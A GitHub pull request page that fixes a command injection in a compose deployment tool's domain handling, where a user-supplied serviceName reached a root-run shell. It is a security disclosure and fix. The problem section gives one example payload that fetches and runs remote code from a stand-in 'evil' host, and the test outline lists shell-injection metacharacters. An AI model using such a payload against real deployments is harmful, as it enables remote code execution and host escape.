fix(security): command injection via compose domain serviceName (host escape) - #4872
Merged
Conversation
… injection writeDomainsToCompose returns a shell fragment that is executed as part of the compose build script. On error it interpolated error.message (which embeds the user-controlled serviceName/host) directly into an echo, so a serviceName like $(cmd) executed as root. Escape the message with quote().
…teral check) quote() legitimately wraps the payload text inside single quotes, so the raw substring is present but inert. leaksShellSyntax (via shell-quote parse) is the correct assertion; the literal not.toContain check was wrong.
narcisonunez
approved these changes
Aug 11, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixes GHSA-xmmr-fhf3-cwwj (Authenticated RCE + Host Escape via Command Injection in Domain Management).
Problem
writeDomainsToComposereturns a shell fragment thatgetBuildComposeCommandembeds verbatim into the bash script run (as root) during a compose deploy. On the error path it interpolatederror.messagestraight into anecho:That error message embeds the user-controlled
serviceName(andhost) fromaddDomainToCompose. A member withdomain:createon a compose service can setserviceNameto e.g.$(curl evil|sh); when the service is not found, the message — and the payload — is executed. With the Docker socket mounted this escapes to the host.Fix
Escape the message with
shell-quote'squote()before it enters theecho, and drop the@ts-ignoreby narrowing the error. The value now reaches the shell as a single inert literal.Verification
__test__/compose/domain-command-injection.test.ts): mocks the compose file so a missing service forces the error path; asserts payloads ($(touch), backtick,;,&&|) parse as literal tokens (no operator tokens leak) while the legit message stays intact.Closes GHSA-xmmr-fhf3-cwwj.
Greptile Summary
This PR prevents command injection through compose-domain error messages by shell-quoting the complete message before embedding it in the deployment script.
@ts-ignore.Confidence Score: 5/5
The PR appears safe to merge and closes the reported command-injection path without introducing a concrete regression.
The complete attacker-influenced error message is passed through the existing shell-quote dependency as one inert shell argument before the generated deployment command executes.
Reviews (1): Last reviewed commit: "fix: sort imports in domain.ts (biome)" | Re-trigger Greptile
Context used: